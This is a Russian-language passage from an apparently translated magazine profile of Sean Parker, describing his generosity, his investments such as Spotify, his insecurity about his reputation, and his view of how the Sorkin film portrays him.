И хотя он практически не думает о том, чтобы нанять частный самолет для ночного перелета из Нью Йорка в Вашингтон, все же он довольно щедр. Когда его друзья организуют сбор средств на благотворительность, Паркер часто один из тех, кто жертвует наибольшую сумму. Будучи ценителем чая (в его коллекции более сотни видов), он дарит в подарок свои любимые сорта, которые он самостоятельно упаковывает и дарит в чайницах, заказанных из Японии. Он инвестировал в бизнесы самых разных людей, зачастую под влиянием эмоций. «Он один из самых щедрых людей, которых я знаю», — говорит другой знакомый, — и также один из самых непредсказуемых».

Сегодня Паркер проводит основную часть своего времени в поиске и управлении инвестициями для Founders Fund, венчурной компании Петера Тиля. Его текущая привязанность: лондонская музыкальная компания под названием Spotify, которая, по его мнению, сможет закончить то, что они с Фэннингом начали в Напстере, только в этот раз – легально. Впрочем, не все, чего касается Паркер, обязательно превращается в золото. Некоторое время назад он вкладывал средства в не очень удачный проект по производству одежды, расписанной вручную. Он также принимал недолгое участие в брейнсторминге с группой, которая включала его старого товарища Шона Фэннинга и 18-летнего основателя Chatroulette, Андрея Терновского, о том, как превратить этот вуайеристичный онлайн видео веб-сайт в полноценный сервис. И, да, когда он находится в Нью Йорке, он берет уроки игры на фортепиано у Шона Леннона.

И хотя у Паркера есть несколько значительных достижений для его возраста, он, на удивление, не чувствует себя достаточно уверенно. Как сообщили несколько друзей и знакомых, он приложил значительные усилия, зная, что репортер будет задавать вопросы и им, — в попытках написать им тексты ответов. («В основном, — утверждают они, — он хотел лишь, чтобы они охарактеризовали его сумасбродное поведение как «юношескую беспечность»).

«Если и есть какой-то триумфальный конец этой истории, я думаю, он заключается в том, каким окольным путем я пришел к тому, чего хотел», — заявляет Паркер, — я хотел получить возможность делать интересные вещи и быть достаточно богатым, чтобы оставаться свободным… И я в какой-то степени могу делать то, что хочу. Возможно, мне приходится работать больше, чтобы заслужить хорошее мнение о себе в глазах новых знакомых, которые слышали обо мне немало странных рассказов. Но, по крайней мере, я могу договориться с ними о встрече».

Дорога, о которой он говорит, была извилистой. «Для меня не существовало никакой волшебной сказки. Весь мой успех был рожден на основе моих поражений. В детских мечтах нам всегда уготована слава; реальность же намного более запутана и драматична».

Паркер встретился со своим экранным альтер эго, Джастином Тимберлейком, в клубе, после того как актер прочел сценарий Аарона Соркина. «Он сказал, что хочет узнать меня, — припоминает Паркер, — но я ответил: «Тебе это не поможет сыграть то, что написал Соркин. Этот человек в сценарии имеет мало общего со мной».

Действительно, Паркер Соркина получился мстительным, расчетливым и злым, совсем не таким как настоящий. Паркер по сценарию еще и жадный, что также не является качеством настоящего Шона. Больше чем деньги ему нужны одобрение и признание. «Я помог изменить мир, по меньшей мере, трижды», — говорит Паркер в какой-то момент, в качестве самооправдания. И добавляет с сожалением: «Я вечный аутсайдер». Поскольку фильм должен стать хитом, уж одна вещь изменится точно. Он получит определенное признание от того «поверхностного» общества, которое привык презирать, и станет знаменитостью. Как он с этим справится – уже другой вопрос.